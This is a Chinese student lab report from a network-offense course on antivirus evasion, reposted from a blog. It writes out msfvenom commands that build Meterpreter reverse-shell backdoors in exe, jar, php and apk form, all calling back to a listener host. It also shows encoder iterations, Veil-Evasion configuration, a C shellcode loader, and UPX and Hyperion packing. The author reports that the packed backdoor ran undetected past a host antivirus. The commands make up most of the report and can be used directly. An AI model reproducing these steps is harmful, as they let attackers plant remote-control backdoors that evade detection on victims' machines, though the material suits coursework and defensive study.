标签:generate sys 解决方法 src 文件类型 动态内存 课程 c11 路径
Msfvenom使用编码器
Veil-Evasion
加壳
加壳的全称应该是可执行程序资源压缩,压缩后的程序可以直接运行。
加壳的另一种常用的方式是在二进制的程序中植入一段代码,在运行的时候优先取得程序的控制权,之后再把控制权交还给原始代码,这样做的目的是为了隐藏程序真正的OEP(入口点,防止被破解)。
加壳的程序需要阻止外部程序或软件对加壳程序本身的反汇编分析或者动态分析
从技术上分壳分为:
答:
基于特征码检测---很多软件都会有各种特征码记成的特征库,恶意软件的一个或几个片断就可作为识别依据。
启发式恶意软件的检测---就是说,如果通常在干一些恶意软件干的事,就是有种相像的感觉,就认可为恶意软件,有种宁杀错不放过的感觉。
基于行为的检测---相当于是启发式的一种
答:我认为是通过一些手段,包括运算编译加密等等,对容易被杀软检测为恶意软件的软件进行处理,就像化妆让人认不出来一样,让它不会被杀软检测出来杀掉
答:
1.改变特征码
加壳:例如压缩壳、加密壳---exe文件
有shellcode(像Meterpreter工具)
如果有源码的话,可以用其他语言(例如C、python)进行重写再编译
利用veil-evasion
2.改变行为
3.非常规方法
1.1正确使用msf编码器
由于之前实验二中生成的 20175218_backdoor.exe 后门程序被我删掉了,所以我重新生成了一遍,将其通过 VirusTotal 和 VirSCAN 进行检测
VirusTotal检测结果如下:
VirSCAN的网站上去后,点击可以浏览需要上传的文件,选择好上传的文件之后点击扫描没有反应,而且选中的文件的路径和我的实际路径也不相同,重新尝试了很多次,换了多种文件类型,都无法扫描,最后没能解决这个问题
通过对VirusTotal检测结果分析,可知这个简单的后门程序能够被大多数杀软检测出来
使用msf编码器对改后门程序进行编码,命令如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b ‘\x00‘ LHOST=192.168.11.128 LPORT=5218 -f exe > 20175218_backdoor.exe
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b ‘\x00‘ LHOST=192.168.11.128 LPORT=5218 -f exe > 20175218_backdoor2.exe
1.2msfvenom生成如jar之类的其他文件
1.2.1生成jar文件
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 x> cjy20175218_backdoor_java.jar
1.2.2生成php文件
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 x> cjy20175218_backdoor.php
1.2.3生成apk文件
msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 x> cjy20175218_backdoor.apk
1.3veil-evasion
整个实验最“难弄”的可以说就在这里了,不仅耗时长,还得看运气...总的来说,我用了两种方法
第一种,直接使用命令 sudo apt-get install veil
进行安装,选择处,输入Y即可
mkdir -p ~/.cache/wine
cd ~/.cache/wine
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86_64.msi
sudo apt-get install veil-evasion
命令安装Veil,用veil打开veil,输入y继续安装直至完成,这里需要非常非常长的时间,而且很容易发生卡顿“事故”(我这里遇到了很多问题,详见实验中遇到的问题)use evasion
命令进入 Evil-Evasionuse c/meterpreter/rev_tcp.py
进入配置界面set LHOST 192.168.11.128
,这里的IP是Kali的IP地址,然后设置端口,命令为:set LPORT 5218
/var/lib/veil/output/compiled/veil_cjy_5218.exe
,将其进行VirusTotal检测,结果如下:1.4自己利用shellcode编程等免杀工具或技巧
1.4.1使用C+shellcde编程
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.11.128 LPORT=5218 -f c
生成一段shellcode输入命令 vim 20175218.c
创建.c文件,写入下列代码,并将刚刚生产成的 buf [ ] 写到代码中
wq保存退出后,使用命令: i686-w64-mingw32-g++ 20175218.c -o 20175218.exe
编译这个.c文件为可执行文件
1.4.2使用加壳工具
使用压缩壳工具UPX
upx 20175218.exe -o 20175218_upxed.exe
对上面生成的那个 20175218.exe 加压缩壳得到 20175218_upxed.exe使用加密壳工具Hyperion
这里我遇到一个非常大的问题,我发现我没有 /usr/share/windows-binaries/hyperion/
这个目录,具体问题详见后面的实验中遇到的问题
将文件 20175218_upxed.exe 拷贝到含 hyperion.exe 目录中,输入命令 wine hyperion.exe -v 20175218_upxed.exe 20175218_upxed_Hyperion.exe
进行加壳:
1.4.3使用其他课程未介绍的方法
参考了远控免杀从入门到实践(3)-代码篇-C/C++之后,我尝试了好几种方法,最终决定将最成功的方法实现免杀的过程写下来
这个是强制类型转换,文章上写的VT免杀率是9/70,但是最后我亲测的数据要比之大一些
首先,用Msfvenom生成c语言的shellcode,为了提高免杀效果,使用了shikata_ga_nai编码器,代码如下:
msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 6 -b ‘\x00‘ lhost=192.168.11.128 lport=5218 -f c -o cjy5218_shell.c
这里跟上面基本是一样的,但是迭代次数我只设了6次
生成的信息在 cjy5218_shell.c 文件中,通过 vim cjy5218_shell.c 打开文件,然后复制其中的 buf[]中的内容
#include <windows.h>
#include <stdio.h>
unsigned char buf[] ="";
void main()
{
((void(WINAPI*)(void))&buf)();
}
然后进行编译,在 /bin/Debug/ 中找到可执行文件 cjy20175218.exe
将其上传进行VirusTotal检测,发现不如文章中所说的VT免杀率是9/70,比之要稍高一些
答:通过这次实验,我能肯定地回答,不能。不关是在我的电脑上,如果没有经过一些处理,一般倒是能被杀软查杀,但是在经过加壳,包括压缩壳、加密壳后,虽然在在VirusTotal中被检测出来,但是在主机中运行竟然没有被360查杀到(包括静态和动态),仍然可以正常上线。尤其是在经过多方面免杀处理后,即便是在在VirusTotal中检验,数据也非常低了,在大多数杀软面前都能“蒙混过关”,所以开启杀软并不是绝对防止电脑中恶意代码。
问题一:下载veil时卡住不动
wget http://dl.winehq.org/wine/wine-gecko/2.47/wine_gecko-2.47-x86.msi
时无法下载,下载时间无线增长(已连接网络,且网络正常)解决方法:直接 CTRL + C 将其停止,然后重新输入命令,发现即可正常下载
问题二:veil安装克隆时,卡住不动
解决方法:直接 CTRL + C 将其停止,它也会显示退出,然后还会问是否安装veil,这里可以先输入N,就是先退出,然后重新输入veil进行安装,这样在克隆时不会卡住在一个点,如果卡住,可以重复上述过程
问题三:veil安装克隆时,直接报失败
解决方法:与上面相似,直接 CTRL + C 将其停止,它也会显示退出,然后还会问是否安装veil,这里可以先输入y,它会进行重新尝试克隆,如果失败,就反复尝试直到成功
问题四:没有 /usr/share/windows-binaries/hyperion/
这个目录
解决方法:参考链接,下载安装mingw-w64编译Hyperion1.2,最终得到hyperion.exe 完成添加加密壳
这次实验,总的来说不是很困难,但是做得非常艰辛坎坷,耗时超长。首先这一次实验,涉及到部分实验二内容,可以说是复习了一下实验二内容,包括对后门程序生成,测试连接等等,然后是通过这一次实验,我知道了很多免杀技巧和方法,比如多次编码,加壳,C/C++加载shellcode免杀等等,其中,对于加壳来说,我感觉我的加壳有毒,加壳后检测出的数据反而更高了。然后是利用shellcode编程,专门尝试了多种方法,包括指针执行、申请动态内存加载、嵌入汇编加载、强制类型转换、汇编花指令等,最终把我最成功,免杀最好的写了上来。主要是对这个实验也挺感兴趣的,有一种刺激的感觉,就是想要弄出一种可靠的免杀方法来,如果不是在下载安装veil上太艰难了(下载安装好,耗时一天半,中途经历坎坷不计其数),这个实验,总的来说是非常非常有乐趣的。
2019-2020-2 20175218陈敬勇 《网络对抗技术》 Exp3 免杀原理与实践
标签:generate sys 解决方法 src 文件类型 动态内存 课程 c11 路径
原文地址:https://www.cnblogs.com/cjy-123/p/12598322.html